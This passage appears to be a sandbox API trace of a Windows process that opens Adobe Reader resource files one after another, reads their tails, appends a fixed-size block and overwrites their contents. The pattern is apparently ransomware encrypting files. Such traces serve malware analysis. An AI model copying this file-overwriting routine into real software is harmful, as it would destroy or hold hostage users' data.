lpOverlapped=0x0) returned 1 [0044.158] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x7025 [0044.158] ReadFile (in: hFile=0x1c4, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.159] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x7025 [0044.159] WriteFile (in: hFile=0x1c4, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.159] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0044.159] WriteFile (in: hFile=0x1c4, lpBuffer=0x1dadf38*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dadf38*, lpNumberOfBytesWritten=0x318f28c*=0x4000, lpOverlapped=0x0) returned 1 [0044.159] CloseHandle (hObject=0x1c4) returned 1 [0044.159] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\slv.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\slv.hyp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0044.160] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0044.160] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x1400 [0044.160] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0044.160] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.160] ReleaseMutex (hMutex=0x128) returned 1 [0044.160] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="slv.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0044.160] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="slv.hyp", cchWideChar=7, lpMultiByteStr=0x1e6a7a4, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="slv.hyp", lpUsedDefaultChar=0x0) returned 7 [0044.160] ReadFile (in: hFile=0x1c4, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x1400, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x318f2bc*=0x1400, lpOverlapped=0x0) returned 1 [0044.164] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0044.164] WriteFile (in: hFile=0x1c4, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1988, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x318f2d0*=0x1988, lpOverlapped=0x0) returned 1 [0044.164] CloseHandle (hObject=0x1c4) returned 1 [0044.165] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\swd.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\swd.hyp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0044.165] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0044.165] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0xcc00 [0044.166] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0044.166] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.166] ReleaseMutex (hMutex=0x128) returned 1 [0044.166] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="swd.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0044.166] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="swd.hyp", cchWideChar=7, lpMultiByteStr=0x1e6a7a4, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="swd.hyp", lpUsedDefaultChar=0x0) returned 7 [0044.166] ReadFile (in: hFile=0x1c4, lpBuffer=0x1daacd8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1daacd8*, lpNumberOfBytesRead=0x318f278*=0x4000, lpOverlapped=0x0) returned 1 [0044.167] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0xbc00 [0044.167] ReadFile (in: hFile=0x1c4, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.716] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0xbc00 [0044.723] WriteFile (in: hFile=0x1c4, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.728] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0044.728] WriteFile (in: hFile=0x1c4, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x318f28c*=0x4000, lpOverlapped=0x0) returned 1 [0044.731] CloseHandle (hObject=0x1c4) returned 1 [0044.731] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\usa03.ths" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\usa03.ths"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0044.740] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0044.740] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0xa1c00 [0044.740] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0044.740] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.740] ReleaseMutex (hMutex=0x128) returned 1 [0044.741] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="usa03.ths", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0044.741] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="usa03.ths", cchWideChar=9, lpMultiByteStr=0x1e630ac, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="usa03.ths", lpUsedDefaultChar=0x0) returned 9 [0044.741] ReadFile (in: hFile=0x1d4, lpBuffer=0x27bfb38, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesRead=0x318f278*=0xf000, lpOverlapped=0x0) returned 1 [0044.747] ReadFile (in: hFile=0x1d4, lpBuffer=0x27bfb38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.749] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0xa0c00 [0044.749] ReadFile (in: hFile=0x1d4, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.754] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0xa0c00 [0044.755] WriteFile (in: hFile=0x1d4, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.755] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0044.755] WriteFile (in: hFile=0x1d4, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x318f28c*=0xf000, lpOverlapped=0x0) returned 1 [0044.756] WriteFile (in: hFile=0x1d4, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x318f28c*=0x1000, lpOverlapped=0x0) returned 1 [0044.756] CloseHandle (hObject=0x1d4) returned 1 [0044.756] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\zdingbat.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\adobe\\zdingbat.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0044.756] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0044.756] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x2e9c [0044.756] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0044.756] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.756] ReleaseMutex (hMutex=0x128) returned 1 [0044.757] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="zdingbat.txt", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0044.757] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="zdingbat.txt", cchWideChar=12, lpMultiByteStr=0x1e630ec, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="zdingbat.txt", lpUsedDefaultChar=0x0) returned 12 [0044.766] ReadFile (in: hFile=0x1d4, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.825] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x1e9c [0044.825] ReadFile (in: hFile=0x1d4, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.839] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x1e9c [0044.840] WriteFile (in: hFile=0x1d4, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.844] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0044.844] WriteFile (in: hFile=0x1d4, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x318f28c*=0x1000, lpOverlapped=0x0) returned 1 [0044.844] CloseHandle (hObject=0x1d4) returned 1 [0044.844] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\HEBREW.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\hebrew.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0044.845] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0044.845] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x5d43 [0044.845] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0044.845] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.845] ReleaseMutex (hMutex=0x128) returned 1 [0044.845] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HEBREW.TXT", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0044.845] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HEBREW.TXT", cchWideChar=10, lpMultiByteStr=0x1e6322c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HEBREW.TXT", lpUsedDefaultChar=0x0) returned 10 [0044.845] ReadFile (in: hFile=0x1d4, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.851] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x4d43 [0044.851] ReadFile (in: hFile=0x1d4, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.878] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x4d43 [0044.878] WriteFile (in: hFile=0x1d4, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.878] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0044.878] WriteFile (in: hFile=0x1d4, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x318f28c*=0x1000, lpOverlapped=0x0) returned 1 [0044.879] CloseHandle (hObject=0x1d4) returned 1 [0044.879] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1250.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1250.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0044.879] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0044.879] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x2664 [0044.879] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0044.879] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.879] ReleaseMutex (hMutex=0x128) returned 1 [0044.879] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CP1250.TXT", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0044.879] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CP1250.TXT", cchWideChar=10, lpMultiByteStr=0x1e630ec, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CP1250.TXT", lpUsedDefaultChar=0x0) returned 10 [0044.880] ReadFile (in: hFile=0x1d4, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.892] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x1664 [0044.892] ReadFile (in: hFile=0x1d4, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.929] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x1664 [0044.929] WriteFile (in: hFile=0x1d4, lpBuffer=0x25c74d8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c74d8*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.929] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0044.929] WriteFile (in: hFile=0x1d4, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x318f28c*=0x1000, lpOverlapped=0x0) returned 1 [0044.929] CloseHandle (hObject=0x1d4) returned 1 [0044.929] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP932.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp932.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0044.930] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0044.930] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x4a0f2 [0044.930] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0044.930] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.930] ReleaseMutex (hMutex=0x128) returned 1 [0044.930] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CP932.TXT", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0044.930] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CP932.TXT", cchWideChar=9, lpMultiByteStr=0x1e6306c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CP932.TXT", lpUsedDefaultChar=0x0) returned 9 [0044.930] ReadFile (in: hFile=0x1d4, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x318f278*=0x8000, lpOverlapped=0x0) returned 1 [0044.935] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x490f2 [0044.935] ReadFile (in: hFile=0x1d4, lpBuffer=0x2771158, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x2771158*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.950] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x490f2 [0044.950] WriteFile (in: hFile=0x1d4, lpBuffer=0x25c74d8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c74d8*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.950] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0044.951] WriteFile (in: hFile=0x1d4, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x318f28c*=0x8000, lpOverlapped=0x0) returned 1 [0044.951] CloseHandle (hObject=0x1d4) returned 1 [0044.951] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1034.mst" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\1034.mst"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0044.951] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1034.mst", nBufferLength=0x104, lpBuffer=0x318f694, lpFilePart=0x318f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1034.mst", lpFilePart=0x318f690*="1034.mst") returned 0x64 [0044.951] GetLastError () returned 0x5 [0044.951] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x318f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p̘폈H̘퐔H̘L̘ꢸǦ\x01") returned 0x13 [0044.951] LocalFree (hMem=0x70b5a8) returned 0x0 [0044.951] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x318d860, 